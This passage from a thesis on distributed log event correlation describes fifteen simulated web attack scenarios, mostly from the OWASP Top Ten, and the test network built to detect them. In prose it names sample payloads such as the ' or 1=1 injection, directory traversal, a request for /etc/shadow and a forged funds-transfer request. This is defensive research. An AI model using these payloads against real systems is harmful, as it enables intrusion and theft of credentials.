though of as a flag which can be set and unset, and as a bucket which can be filled with events and emptied. Adding a `context` keyword to an SEC rule provides the capability to only execute the action list if certain other conditions are met. It also allows information to be stored in such a way as to be retrievable later.

There are many excellent references on using SEC and sample rulesets available for free download online and in academic publications [36] [27].

## ***2.7 Summary***

This chapter has covered the current state of research in the areas of log management and event correlation, discussed SIEM tools and the concept of insider threat detection, and given a technical overview of technologies which are leveraged in this research, including web server logging mechanisms and the Simple Event Correlator.

### III. Concept Development

As presented in Chapter 1, SIEM activities are often ill-suited to today’s enterprise environment, and if SIEM activities are conducted at all, the scope of those activities is limited and the design centralized in nature. This research develops and demonstrates a tool which addresses these limitations, but also reasons about the factors which play into the real world implementation of SIEM activities. This reasoning strengthens the resulting methodology by increasing the relevance of recommendations to real-world networks and by increasing the body of knowledge on the subject.

This chapter revisits the goals of this research, namely present a distributed event correlation methodology, provide a remotely configurable and customizable configuration and enable the incorporation of logs from multiple sources and locations into the methodology. In addition, a viewport into the thought processes involved fulfilling those goals is presented. The general approach to conducting this research is presented first, followed by a section explaining the thought process for designing an experimental network to validate the assertions in Chapter 1. Following this section is a discussion of the principles applied in selecting use cases, as well as some lessons learned from that selection process and a summary of the chapter.

#### ***3.1 Approach***

Following the reasoning phase discussed in this chapter, a physical experimental network is set up, and a test implementation of the methodology is built. This implementation is based on the conclusions and lessons learned discussed in this chapter. A set of 15 malicious web-based scenarios are simulated amidst a background of benign user traffic. The logs from both classes of traffic are collected and analyzed in four runs of the experimental network, each run corresponding to one of four logging modes presented in Section 3.5. The specific implementation details of the experimental network are discussed in Chapter 4. Remote configurability is achieved by taking advantage of real-time configuration capabilities of the Simple Event Correlator. The

end result is a flexible, context aware distributed event correlation methodology which can be tailored to an individual organization's perceived needs and vulnerabilities.

### ***3.2 Network Design Rationale***

To design a theoretical methodology for efficient and effective event correlation is one thing; building an experimental network to measure its properties is quite another. This section discusses decisions which must be made when building an experimental network, and the thought process involved in making those decisions for this research.

*3.2.1 Realism and Scope Limitation.* Research conducted on a system which bears little resemblance to real-world, operational systems is of limited value. However, it is infeasible to build a multi-million dollar enterprise network to implement and measure a single tool or methodology. Therefore a balance must be struck between the time and budgetary constraints of research, and the need for the experimental network to be similar enough to an operational network that the conclusions drawn from the experiments hold true for both.

In the experimental network built for this research, this tension has been recognized and attempts made to strike such a balance. Scope limitations made included the overall size of the network and the single class of log-producer, namely web servers. These limitations have a clear impact on the results of the research. In the case of network size, the methodology must be shown to be scalable and the composition of the network must closely approximate a full-sized network. In the case of the single log-producer, the argument must be made that web server logs are fundamentally similar to logs from other sources so that the results of analysis on web server logs will apply to other sorts of logs as well. The analysis in Chapter 5 discusses each of these points as they pertain to the data gathered during the experimental phase of the research.

Balancing these scope limitations are efforts which were made to make the network more realistic and applicable to operational configurations. These efforts



include the choice of platforms and tools such as Microsoft Windows XP, Apache and IIS web servers, Kiwi Log Server, Oracle Database 10g and the addition of the SAST traffic generation engine. These platforms and tools are popular operating systems, web servers and databases, chosen so that the experimental results were derived from an environment with a realistic composition, if not a realistic size. In addition, claims of detectability are strengthened when the attacks are hidden amongst innocent traffic. Chapter 4 describes the implementation of these design decisions in further detail.

*3.2.2 The Base Rate.* To implement the traffic generation in such a way that the traffic is realistic, it is important to consider the basic rate of incidence of malicious traffic. The immediately intuitive benefit to this consideration is the realism in the traffic, that is that the proportion of malicious traffic in comparison to benign traffic should at least be realistic. The other important benefits are the ability to address the base-rate fallacy when drawing conclusions about the detection rate.

Axelsson describes the base rate fallacy at length in [10]. In essence, the concept is that the basic rate of incidence of a malicious behavior is not intuitively taken into account when calculating probabilities such as the false-positive rate, detection rate, and others. In fact, the probability that there was an intrusion given that there was an alarm is dominated by the false positive rate, or the probability that an alarm is raised when there was no intrusion. This makes it critical that the false positive rate be as low as possible. The benefit of detecting specific policy violations (which largely describes the use cases in the next section) as opposed to general malicious behavior is that a more precise signature can be created, making the false positive rate quite low.

A brief statement of the base rate fallacy in mathematical terms (from Axelsson) follows:

Since Bayes theorem (used for calculating conditional probabilities) is the main equation used in this type of analysis, Equation 3.1 presents a generally useful form.

$$P(A|B) = \frac{P(A) \cdot P(B|A)}{\sum_{i=1}^n P(A_i) \cdot P(B|A_i)} \quad (3.1)$$

Using Axelsson’s conventions, we define  $I$  and  $\neg I$  as intrusive and nonintrusive behavior, and  $A$  and  $\neg A$  as the presence or absence of an intrusion alarm. Thus  $P(A|I)$  is the probability that an alarm is raised if there is intrusive behavior (true positive),  $P(A|\neg I)$  is the probability that an alarm is raised when there is no intrusive behavior (false positive), and so on. As Axelsson identifies, the really useful probabilities are  $P(I|A)$  (the probability that intrusive behavior has happened given that an alarm was raised), and  $P(\neg I|\neg A)$  (the probability that there is no intrusive behavior in the absence of an alarm). Since an intrusion detection or event correlation scheme aims to produce trustworthy alarms, these last two probabilities ought to be as high as possible.

Bayes’ theorem can be used to calculate these two probabilities (and will be used to do so in Chapter 5) as shown in Equation 3.2 and Equation 3.3.

$$P(I|A) = \frac{P(I) \cdot P(A|I)}{P(I) \cdot P(A|I) + P(\neg I) \cdot P(A|\neg I)} \quad (3.2)$$

$$P(\neg I|\neg A) = \frac{P(\neg I) \cdot P(\neg A|\neg I)}{P(\neg I) \cdot P(\neg A|\neg I) + P(I) \cdot P(\neg A|I)} \quad (3.3)$$

### 3.3 Use Case Selection

The proper selection of use cases is a critical component contributing to the relevance of the research. This section discusses some concepts behind the selection of use cases and uses the OWASP Top Ten as a positive example of a set of use cases.

*3.3.1 The OWASP Top Ten.* The Open Web Application Security Project (OWASP) is an organization focused on improving the security of web applications worldwide. To this end, they compile a list of what they perceive as the “Top Ten” web application security risks every three years to help organizations combat the most

prevalent attacks. Table 3.1 shows the OWASP Top Ten for 2010 (Release Candidate 1). The following sections will reference this example as they discuss the various thought processes involved in selecting use cases.

Table 3.1: OWASP Top Ten RC1 [8]

Rank	Risk Name
1	Injection
2	Cross Site Scripting (XSS)
3	Broken Authentication and Session Management
4	Insecure Direct Object References
5	Cross Site Request Forgery (CSRF)
6	Security Misconfiguration
7	Failure to Restrict URL Access
8	Unvalidated Redirects and Forwards
9	Insecure Cryptographic Storage
10	Insufficient Transport Layer Protection

*3.3.2 Relevance.* The effectiveness of a chosen set of use cases can be understood as the extent to which lessons learned from the use cases can apply to real-world systems and networks. Not only must the chosen set of use cases illustrate the concepts in the research, but they must do so in a way that is realistic and not contrived. Since the scope of this research is limited to web server logs, the top web application attacks are a natural choice as a set of use cases which will be broadly applicable to those who encounter the research.

*3.3.3 Policy vs. Threat-based events.* When developing event correlation rulesets, the decision on what should be detected occurs early in the process. There are two main categories of events whose detection might be desired: threats/attacks and violations of security policy. The former are behaviors and events that should never occur on the network, such as SQL injection attacks. There is almost never a legitimate reason for these events to show up, so when they do they should be detected. The OWASP Top Ten fall largely into this category. Violations of security policy should also be detected, but these are often behaviors and events which occur nor-

mally, but constitute a policy violation when certain parameters occur. For example, a policy might exist that says that no employee should be accessing a given resource during non-work hours, say 5pm - 8am. Access to that resource is a legitimate action, but when the “access time” parameter has a certain value, that legitimate action becomes a policy violation.

To ensure that both event classes are covered in this research, five additional use cases were added. These use cases represent combinations of legitimate activities which, taken together, are regarded as policy violations in the experimental network. These use cases are:

- Naïve Web Crawler
- Delayed Web Crawler
- Excessive Downloads
- Excessive HTTP Errors
- Injection Sequence

*3.3.4 Understanding and Limiting Observables.* An observable is simply a piece of information which can be observed to give insight into a given event or behavior. In the case of web application attacks, the log elements generated as a result of the attack are a significant set of observables. To most effectively monitor and react to events and behaviors as they are occurring, a thorough understanding of the available observable information is key. To understand the universe of information provided by Apache and IIS, research was done to identify the individual log elements supported by each application. The results of this research can be found in Appendix A.1 and Appendix A.2. In addition, initial detection work was done with all log elements turned on, to more easily identify which log elements were relevant to detecting the chosen use cases.

It is important to execute this process for several reasons. First, it deepened the understanding of Apache’s and IIS’ capabilities. Second, it allowed later stages

to configure each web server with a smaller set of log elements, since those elements had been guaranteed to retain the ability to detect the desired malicious activity. Lastly, the reduced size and complexity of resulting log files means more efficient use of storage space and network bandwidth, as well as increased efficiency in event correlation activities involving those log files.

The results of this process of “paring down” the observable log elements would vary depending on the events and behaviors to be detected. For the fourteen use cases chosen for this research, the specific log elements identified are discussed in Chapter 4.

### ***3.4 Introspection***

A brief study of the OWASP Top Ten will show that several, such as “Unvalidated Redirects and Forwards” and “Failure to Restrict URL Access” describe attacks which are easy to detect, but whose vulnerabilities would be easily fixed if discovered. While there is value in looking for attacks on as-yet undiscovered vulnerabilities, the situation begs the question, “Why not just fix the vulnerability instead of detecting when it gets exploited?” It’s a fair question, and highlights the importance of introspection as a security posture. Introspection can be defined as the ability to critically evaluate internal systems, applications and processes from a security point of view. The processes of identifying events and behaviors to detect and understanding and limiting observables affords an organization the opportunity to turn a critical eye toward their applications and policies. In addition, it highlights a common problem - those with the prerogative to evaluate an organization’s systems for vulnerabilities may not have the ability or authority to fix them. In this case, those conducting log monitoring activities may want to monitor identified vulnerabilities for breaches until the problem can be resolved.

### ***3.5 Adjustable Logging Modes***

In Chapter 1, one of the goals of the research was explained as the ability to configure the event correlators. The nature of this configuration is an important concept in the research, since the configuration options must facilitate the other research goals while representing real-world issues in log management. To that end, the configuration of the event correlation engines has been designed to be adjustable in two ways. First, the behaviors to be detected can be adjusted; that is to say new specifications for behaviors can be added and old ones can be deleted. Second, the output of the event correlation engines can be set to one of three logging modes. In Mode 1, only synthetic event messages are produced, and all raw log messages are suppressed. In Mode 2, synthetic event messages are produced along with the raw logs which caused the synthetic event to be generated. This way, all possible information about each attack is available to an analyst watching the output. In Mode 3, all raw log messages are included, as well as synthetic event messages. This mode is designed to provide context in high accountability environments, where all raw log messages must be collected and/or stored centrally. Lastly, Mode 4 includes only raw logs for use as a control and to model the traditional, centralized approach.

Another logical logging mode can be envisioned - a “Mode 0” where nothing is logged over the network. This mode might still write synthetic and raw log messages to the local machine, but would either queue them up for later delivery or not send them at all. While Mode 0 is not implemented in this research, it could be useful in situations where there is reason to believe that the log server had been compromised by an insider, or that it was unsafe or undesirable for log messages to be sent over the network for a certain period of time.

### ***3.6 Implications of Remote Configuration***

In addition to the ability to configure the event correlation engines, Chapter 1 identified as a goal that the capability should exist to do the configuration remotely. In designing and implementing the capability to perform the configurations discussed

in the previous section remotely, it must be recognized that this introduces certain security risks. If a malicious entity wanted to execute some malicious behavior and go undetected, they would be motivated to find a way to remotely configure the event correlation and log collection activities so that their behavior was not reported. To mitigate this risk, the experimental network accomplishes the remote configuration through SSH. This way, only a user with an account on the log-producer would be able to remotely configure that node of the event correlator. Of course, this still leaves open the possibility for insider attack, the mitigation of which is outside the scope of the research.

### **3.7 *Summary***

This chapter has discussed the thought processes that occurred during the decision-making process and design phase of this research. Specifically, the chapter considered the general approach of the research, points to consider in the network design and use case selection activities, a model for configurability, the value of introspection and an acknowledgement of the risk associated with remote configuration.

## IV. Experimental Implementation and Methodology

This chapter delves into the technical details of the research, describing how the principles in Chapter 3 were implemented in policy, software and hardware. The first section goes into detail about each selected use case, including a description of the attack and the simulated scenario. The next several sections go into detail on the design of the test network, and the chapter concludes with the policy for administering each scenario.

### 4.1 *Use Case Detail*

This section discusses the use case scenarios which were used in each run of the experiment. Each use case represents an interesting attack on web servers. Some of the implementations of these use cases are broadly detectable, such as the “Excessive Downloads” and “Injection” use cases. This simply means that most malicious behaviors described by the use case are detectable in a general implementation. The other implementations are narrowly detectable, which means that there is no intuitive, general implementation which will detect most malicious behaviors. For example, the “Failure to Restrict URL Access” use case describes the failure on an organization’s part to properly restrict access to a resource through typing in the path to that resource in a URL. Since every legitimate or illegitimate access of web resources fundamentally involves typing in the path to that resource in a URL, a general rule to detect this behavior would not provide any value. However, in the case of directory traversal a user is accessing resources using a method which is never necessary and often malicious. This can be detected in an implementation of this use case, but does not cover all of the malicious behavior contained therein.

The following subsections provide more detail on each use case, and describe how they are expected to demonstrate the ideas set forth in Chapter 1. The first ten use cases are taken from the Open Web application Security Project (OWASP) Top Ten List, a well-respected compilation of top web application attacks which was discussed in the previous chapter. The next four are insider threat-oriented use cases



identified in previous research as interesting web application attack scenarios [24]. The final use case, the Injection Sequence, utilizes two distinct log sources to detect a possible SQL injection without the use of regular expressions. In addition, the scripts written to carry out the attack are characterized, and the reader is referred to the source code of those scripts.

*4.1.1 Injection.* The injection use case refers both to SQL and command injection. In injection attacks, user inputs are not sanitized by the web application before being sent to the database or operating system for execution. These inputs could potentially contain special characters which would change the meaning of queries made or actions taken using those inputs. This potentially allows an attacker the opportunity to craft an input which performs some malicious action in the database or on the host operating system.

To detect SQL and command injection, a rule has been written (found in Appendix B.1 and Appendix B.2) which looks for quote marks, the word “or,” the equals sign, a double dash or a semicolon, along with their ASCII and hex encoded equivalents. In addition, the rule looks for some common SQL keywords and command injection keywords.

This rule will be used to evaluate logs from multiple sources, in this case web server, database, and system logs to show that the method being used for web server logs is easily adaptable to include logs from other sources.

The Python script which implements this attack executes five injections. The first injection is the classic “ or 1=1”. The second is the same as the first, but URL encoded. The third is an injection specifically targeted at the PHPNuke Application; the actual injection code is taken from the Honeynet project’s website (<http://www.honeynet.org>). The fourth injection includes SQL keywords in the query string, and the last injection includes keywords indicative of attempted execution of system commands. The source code for this script is located in Appendix C.1.

*4.1.2 Cross Site Scripting.* This use case demonstrates the detection of cross-site scripting (XSS), one of the most common web application attacks [23]. In XSS attacks, scripting tags are embedded in HTTP requests and automatically generated page content in such a way that users are enticed to execute the script, which would happen on the user’s local machine. Commonly, these scripts are used to deliver malware to user workstations.

To detect XSS, a rule has been written (found in Appendix B.3 and Appendix B.4) which looks for image tags (one of the more popular vectors for the malicious scripts), javascript keywords, and general HTML tags. It is worth noting that in some web applications which allow posting of HTML content (such as web forums), this may produce a large volume of false positives.

The Python script which implements this attack executes four requests. The first contains an image tag carrying a javascript alert. The second and third simply contain script tags, and the fourth contains script content disguised as a normal comment submission. The source code for this script is located in Appendix C.2.

*4.1.3 Broken Authentication and Session Management.* This use case demonstrates the detection of a scenario where an attacker is either fuzzing the login functions of a web application or exploiting a discovered vulnerability. In the scenario, a web server is misconfigured to accept login or session information from cleartext GET parameters, which leaves the application vulnerable to session rewriting and sniffing attacks. The detection ruleset (found in Appendix B.5 and Appendix B.6) looks for indicators in the GET parameters such as login page names and parameter names dealing with username and password transmission, as well as session information.

The Python script which implements this attack executes two requests. The first request contains login credentials in the query string, and the second contains a session id in the query string. The source code for this script is located in Appendix C.3.

*4.1.4 Insecure Direct Object References.* This use case demonstrates the detection of attacks which exploit internal objects which have been inadvertently exposed to the public. This attack often exploits application-specific resources for which it would be impossible to write a general rule. However, there are some common attacks that fall into this category which are broadly detectable. The first attack is directory traversal, where a web server is configured to interpret command line path strings such as “../” and return files from other locations in the filesystem. The second is related, where an attacker specifically goes after command shells and password stores.

The rule (found in Appendix B.7 and Appendix B.8) to detect insecure direct object reference attacks looks for both of these vectors, including ASCII and hex-encoded versions of the attacks.

The Python script which implements this attack executes three requests. The first two are directory traversal attacks, with various encodings. The third request simply contains a suspicious filename (*/etc/shadow*). The source code for this script is located in Appendix C.4.

*4.1.5 Cross Site Request Forgery.* Cross Site Request Forgery (CSRF) attacks take advantage of web applications which allow state-changing requests to be made without the inclusion of anything secret. An example would be a bank which allows funds to be transferred via a url such as *http://www.bank.com/transferFunds.asp?toAccount=123456789&amount=1000*. An attacker conducts a CSRF attack by including a similar link in an image tag or iframe on a website under his control, and trying to get users of *www.bank.com* to view it. If they are logged in when they do so, the request would be made, and the money would be transferred to the attacker’s account.

To detect CSRF attacks, the ruleset (found in Appendix B.9 and Appendix B.10) looks at the Referer HTTP header, which tells the web server what site a link was

followed from (or in this case, from which site the request was made). If the access to the script is from another domain (i.e. not from *www.bank.com*), an alert is generated.

The Python script which implements this attack executes two requests. The first request is good - it accesses *transferFunds.asp* from within *www.bank.com*, which is allowed. The second request accesses the same page, but does so from *www.badguy.com/badscript.php*. The source code for this script is located in Appendix C.5.

*4.1.6 Security Misconfiguration.* Security Misconfiguration is a term which refers to failure to perform security hardening tasks across the entire application stack [8]. This includes activities such as installing firewalls, keeping patches up to date, disabling ports and services, and changing default passwords. Attackers might be able to exploit published vulnerabilities or generally gain access more easily if these activities are not performed. Unfortunately, none of these activities produce predictable entries in web server logs. It is possible that the exploitation of an unpatched third-party application might show up in the logs, but that appearance would be highly specific to that application and vulnerability. Thus, while this scenario is not reliably detectable in web server logs, it does illustrate well the principle of introspection which was discussed in Chapter 3.

*4.1.7 Failure to Restrict URL Access.* A URL access vulnerability has two primary characteristics; there is a resource accessible via URL that does some sort of privileged action, and the web application fails to restrict access to that resource. Thus anyone can perform the privileged action if they know how the application works. The scenario here is a web application admin console at *admin.php*, that adds an account via *addaccount.php*. In the scenario, *admin.php* validates that a user is logged on, but *addaccount.php* does not. The security team wants to know when *addaccount.php* is accessed directly, or from a location other than *admin.php*. In reality, there would rarely (if ever) be a good reason to have a web application set up this way. This again highlights the value of introspection.

The Python script which implements this attack executes two requests. The first request is from *www.goodguy.com/admin.php*, and is considered a normal and permitted access. The second request accesses the same page, but comes from *www.badguy.com*. The source code for this script is located in Appendix C.6, and the SEC ruleset which detects this scenario is found in Appendix B.11 and Appendix B.12.

*4.1.8 Unvalidated Redirects and Forwards.* This use case covers the common behavior of using GET parameters to forward users to other parts of the site or redirect them when a transaction is successful. This situation could be used as part of a phishing scam, where users are presented with a valid-looking link which redirects them to a malicious site. In this scenario, *www.goodguy.com* has an open redirect page to their banking site. The ruleset (found in Appendix B.13 and Appendix B.14) checks to make sure that the provided URL parameter actually points to a resource located at *www.goodguy.com*.

The Python script which implements this attack executes two requests. The first is a permitted use of the redirect. The second is a redirect to *www.badguy.com*'s phishing site. The source code for this script is located in Appendix C.7.

*4.1.9 Insecure Cryptographic Storage.* This use case refers to situations where personal or sensitive information is stored in an insecure manner, whether in long-term storage or in a live database. If an attacker gained access to such data, the disclosure of personal information could occur or sensitive information could fall into the wrong hands. Unfortunately, while the attacks which disclose the information may show up in the web server logs, the fact that information is being stored insecurely is not an area applicable to web server logs. Thus this use case is not detectable in web server logs.

*4.1.10 Insufficient Transport Layer Protection.* This use case is largely a configuration issue. It deals with whether or not a web application has SSL installed and properly configured, to prevent sniffing and phishing attacks which take advantage

of browser warnings or unencrypted connections. Thus, this is a difficult case to detect, as sniffing and phishing attacks don't reliably show up in web server logs. However, it is possible to detect when a user encounters an error while browsing to a secure site. In addition, Apache can be configured to log errors encountered when processing requests using SSL.

To enable detection of this behavior (and SSL in general), an additional Apache module (`mod_ssl`) must be installed. Fortunately, Apache provides an easy mechanism to do this - the *a2enmod* command. Simply running *sudo a2enmod ssl* sets up Apache to be able to handle SSL traffic. After running this command, one need only copy the configuration file from */etc/apache2/sites-available* to */etc/apache2/sites-enabled*, adjust the configuration to match the logging characteristics of the unencrypted server, and restart Apache.

The rule (found in Appendix B.15) to detect this behavior looks at both the access log and error log. When a client using Firefox receives a certificate error, an "SSL Library Error" is generated in *error.log*, even though nothing shows up in the access log. Internet Explorer and other browsers generate different errors, for which a rule could be written as well. This particular entry is at the info-level, so it is necessary to modify the SSL site configuration in Apache so that the `LogLevel` is `info`. In the access log, `mod_ssl` adds four additional log elements - the TLS/SSL version, the cipher used, the error code, and the error string. If SSL is not used, the first two will be displayed as dashes. The second pair of elements will be displayed as dashes unless an error occurs - so if anything aside from dashes is detected, an alert is generated. To demonstrate this use case, alerts are generated when the bad-certificate error appears in *error.log* or if any other error shows up in *access.log*.

This attack is conducted simply by manually attempting to access (using Firefox) the Apache server with SSL enabled. Since the certificate on that server is self-signed, an error will be generated.

*4.1.11 Naïve Web Crawler.* This use case demonstrates the detection of a web crawler such as GNU Wget (<http://www.gnu.org/software/wget>) which is not attempting to avoid detection. The idea behind this scenario is that an insider would be trying to exfiltrate data from an organization's intranet as quickly as possible by using a web crawler to download all the content to some removable media, which can then be hand-carried out of the establishment.

The rule (found in Appendix B.16 and Appendix B.17) to detect this use case involves a sliding time window and an event threshold, calculated for each IP address represented in the log. If the event threshold is exceeded inside the time window, an alert is generated identifying that IP as potentially having a web crawler.

Instead of using a Python script to implement this attack, GNU Wget will be used, since it is one of the most popular web crawling software packages.

*4.1.12 Delayed Web Crawler.* This use case is similar in motivation to the previous, except in this use case the perpetrator is circumventing the window and threshold technique by delaying each access by the web crawler so that it only downloads a page every several seconds.

To detect this use case, an SEC rule (found in Appendix B.18 and Appendix B.19) was written which keeps a tally of the access times for each IP, and sends them to an external utility which measures the standard deviation of the access times. If the standard deviation is too small an alert is generated, since a small standard deviation may indicate that the accesses are automated, rather than generated by a human being.

This attack is also implemented with GNU Wget, using the wait (-w) option to delay each request by some number of seconds.

*4.1.13 Excessive Downloads.* This use case involves a malicious insider with a similar motive as the previous two use cases, but in this case the insider is downloading large amounts of data either by hand or using a tool which evades the

other two rules. In this scenario, an organizational threshold for excessive download volume in a given time frame is set, and any download totals exceeding that threshold generate an alert.

The rule (found in Appendix B.20 and Appendix B.21) to detect this use case involves keeping a tally of total bytes consumed in a temporary array indexed by IP. When the download total for an IP exceeds the threshold, an alert is generated and further events are suppressed for a given time period (like 60 minutes). This way, if the threshold is exceeded, further alerts will be generated every hour, rather than on every additional access.

This use case will be used to demonstrate the value of injecting synthetic events into the event stream in a high-accountability environment where every log entry must be sent to a central log server for correlation.

The Python script which implements this attack downloads two large files five times each, waiting a random amount of time (from 0 to 10 seconds) between each access to simulate downloading the files by hand. The source code for this script is located in Appendix C.8.

*4.1.14 Excessive Access Attempts.* In this scenario, an attacker is repeatedly attempting to access resources which he is not permitted to view, or resources which have been moved or gone missing. It also includes the situation where an attacker has found useful information in an error message, and is loading it repeatedly to gain additional information about the underlying system.

The rule (found in Appendix B.22 and Appendix B.23) to detect this use case again uses a sliding time window and threshold. It counts up the number of HTTP errors generated per IP, and generates an alert when an IP has encountered too many of a specific type of error.

The Python script which implements this attack accesses a nonexistent page in rapid succession. The source code for this script is located in Appendix C.9.



*4.1.15 Injection Sequence.* In this scenario, an attacker visits a comments page which is vulnerable to SQL injection. The database behind the application has two tables: a comments table for use by the web application, and a users table for access on other parts of the site. The attacker injects a query to insert himself as a user.

The rule (found in Appendix B.24) to detect this use case detects four events, and only alerts when all four have taken place. The four events are as follows:

- (MySQL query log) A user (or script) connects to the database.
- (MySQL query log) An insert is performed on the comments table.
- (MySQL query log) An insert is performed on the users table.
- (Apache access log) An access to comments.php is detected.

When these happen simultaneously, a user is presumed to have used SQL injection to insert an entry into the users table.

The Python script which implements this attack accesses comments.php with injection code in the query string. The source code for this script is located in Appendix C.10.

## **4.2 Metrics Selection**

To facilitate the observation of the experimental network, specific metrics were selected for their value in demonstrating and validating the claims made in Chapter 1. In summary, those claims were that the methodology presented in this research:

- Adds value in low accountability environments through decreased resource consumption
- Adds value in high accountability environments by providing context with synthetic events
- Provides remote configurability

- Has the ability to scale to multiple log formats

To demonstrate and validate these claims, five metrics have been chosen. They are detection rate, false positive rate, network load and database query execution time. The remainder of this section discusses each metric and the reason for choosing it.

The first metric chosen is the detection rate. In order to add value to log event correlation activities, the methodology must be able to fulfill a basic requirement of event correlation - detecting suspicious behavior. The detection rate measures the methodology's ability to detect the selected use cases, which were presented in detail in the previous section. This measurement will be taken by monitoring at the log server alerts produced by SEC instances at each web server. If an alert is generated when the attack is executed, the scenario is said to have been detected.

The second metric chosen is the false positive rate. Even if every scenario is detected correctly, a high false positive rate would decrease the credibility of alerts, as well as increase the expense associated with investigating alerts (in an operational environment). Thus, it is important that false positive rates be kept as low as possible. This measurement will be taken by monitoring SEC alerts at the log server. If an alert is generated but no attack was executed, a false alarm is said to have been detected and this is factored into the overall false positive rate.

The third metric chosen addresses the value added through decreased resource consumption by monitoring the composition of network traffic. This metric is composed of two components. First, the overall proportion of benign and known malicious traffic will be monitored to ensure that the base rate of malicious traffic is somewhat realistic. For the purposes of this set of experiments, malicious traffic is defined as malicious requests - any responses to the attack are not taken into account. The second component is the amount of Syslog traffic - specifically, the difference in the volume of Syslog traffic between various logging configurations. This measurement is

taken by monitoring all traffic via a SPAN port on the switch, using Ntop to generate statistics on the data.

The fourth metric addresses the value of providing context with synthetic events by monitoring the execution times of database queries. With the addition of synthetic events, the database should be able to more efficiently identify a particular attack than if it had to find them without assistance. The magnitude of this boost in efficiency will be measured by recording execution times of queries with and without synthetic event context in the database. This metric will also measure the impact of normalization on query execution time.

### ***4.3 Implementation***

This section discusses the configuration of hardware and software to create an experimental environment where observation of the metrics discussed in the previous section is possible. To that end, the first two sub-sections discuss the specific hardware and software configurations used, as well as lessons learned and difficulties encountered in setting up the systems. The final sub-section discusses the specific sensors which were put in place to observe the selected metrics.

*4.3.1 Hardware Configuration.* The experimental hardware configuration is designed to facilitate a realistic logging infrastructure to support testing of the use cases described in the previous section. Figure 4.1 shows the overall configuration of the network, including IP addresses and functions.

The nine non-infrastructure machines in the network, with two exceptions, are all AOpen miniPC Duo mini computers. The two exceptions are the SAST controller and log server. Table 4.1 gives the hardware specifications for these machines.

In addition to these computers, there are two infrastructure devices on the network, namely a Cisco Catalyst 3550 switch with IOS version 12.1(22)EA4 and a LaCie network storage disk (1 TB capacity) running Windows XP.




Figure 4.1: Experimental Network Design.

The switch has the IP space divided up into five VLANs, and routing between VLANs is enabled on the switch. Three of the VLANs correspond to the simulated Development, Intelligence and Marketing subnets as indicated in Figure 4.1. Each of these three subnets contains a web server and a workstation. Each workstation is configured with SAST traffic generation software to appear on the network as 5 virtual workstations, for a total of 15 virtual workstations for the whole network. The last two VLANs are administrative - one contains the SAST controller, and one contains the log server and network storage device.

Table 4.1: Hardware Specifications for Experimental Network Computers.

<b>Function</b>	Servers, Workstations	SAST Controller	Log Server
<b>Type</b>	Mini PC	Laptop	Laptop
<b>Model</b>	AOpen MP945-D	Dell Latitude D630	HP Compaq 8710w
<b>CPU</b>	Celeron M 1.73 GHz	Core 2 Duo 2.6 GHz	Core 2 Duo 2.6 GHz
<b>Memory</b>	1 GB	4 GB	3 GB
<b>Disk Space</b>	150 GB	150 GB	150 GB

*4.3.2 Software Configuration.* The configuration of software on the experimental network was chosen not only to facilitate the experiments to be performed on the network, but also to add realism and applicability to the results, so that they could plausibly apply to many common real-world network configurations. To do that, popular operating systems and software packages were chosen when possible. Table 4.2 gives the software configuration for each machine.

There are five key software packages whose configuration merits a more detailed discussion. These five are the Security Assessment Simulation Toolkit (SAST) traffic generation package, the Simple Event Correlator (SEC), Apache, IIS, and Syslog. The next few paragraphs describe the specific configuration of each of these, along with lessons learned while implementing them.

*4.3.2.1 SAST configuration.* SAST is a tool developed by Pacific Northwest National Laboratory (PNNL) for use by US government organizations to generate realistic-looking traffic and facilitate exercise environments with benign and malicious traffic. In this research, SAST is being leveraged as a traffic generation tool, as well as a scheduler to run attack code in a scriptable, repeatable fashion. The configuration of SAST involves five interrelated components - tasks, actors, timelines, a scenario, and host service applications (HSAs). Figure 4.2 shows the relationships between these components in the configuration process.

This chart shows the process for building a SAST scenario, and gives insight into how it executes. First, tasks to be performed must be defined. These tasks could

Table 4.2: Software Specifications for Experimental Network Computers.

Name	Operating System	Web Server	SAST	Other Software
Development Workstations	Windows XP SP3		3.3.1	
Development Server	Ubuntu 9.04 Server	Apache 2.2.11		SEC 2.5.3
Intelligence Workstations	Windows XP SP3		3.3.1	
Intelligence Server	Windows Server 2003	Microsoft IIS		SEC 2.5.3, KLOG 2.0
Marketing Workstations	Windows XP SP3		3.3.1	
Marketing Server	Ubuntu 9.04 Server	Apache 2.2.11		SEC 2.5.3
SAST Controller	Windows 7		3.3.1	
Log Server	Windows XP SP3			Kiwi Syslog Server 9.03, Oracle Database 10g
Network Monitor	Ubuntu 9.04			NTOP 3.3

include surfing the web, checking e-mail, connecting to an FTP server, or many other behaviors. Next, those tasks are assigned to a timeline. As part of the configuration they are given a start and stop time, as well as assigned a probability curve that dictates the frequency and pattern of execution for that task in the timeline. The timeline, with its tasks, can then be assigned to one or more groups of actors. Each actor will appear on the network as a distinct entity when the scenario executes. Lastly, some combination of actors is assigned to a host service application (HSA). An HSA may be located on a remote machine or it may be local. When the scenario is loaded, each HSA is given its assigned group of actors, along with those actor's timelines and tasks. Upon execution of the scenario, all HSAs move together through their respective timelines, executing tasks as configured.




Figure 4.2: Configuring SAST.

For this research, SAST was configured with two types of tasks - web download tasks and command line tasks. The web download tasks are configured to download random pages on each of the three web servers, simulating a group of users surfing the web. They were run using a “5 per minute” probability curve, which means 5 requests were made at random times every minute. The command line tasks are configured to do one-time runs of Python scripts (which can be found in Appendix C) which perform attacks outlined in the use case section of this chapter. These tasks were run using the “single-shot” probability curve, which means that they only happened once, at a time specified in the configuration (these times are located in Table 4.5). Those tasks are then assigned to three timelines, one for each subnet of abstract clients on the network. The malicious tasks were spread evenly over three malicious timelines, while the three benign timelines downloaded websites. Actors are similarly organized in three groups - Development, Intelligence and Marketing, and each group is assigned its corresponding timeline. Finally, five actors from each benign group and one malicious actor are assigned to the HSA corresponding with the Workstation

machine in their subnet. Each workstation is assigned an actor group, so that there are Development, Intelligence and Marketing workstations. Upon execution, the three workstation machines (with HSA software running) receive the same timeline from and sync up with the central controller. When the “Play” button is pressed, each workstation performs the tasks included in the timelines assigned to it according to the configured probability curves and schedules.

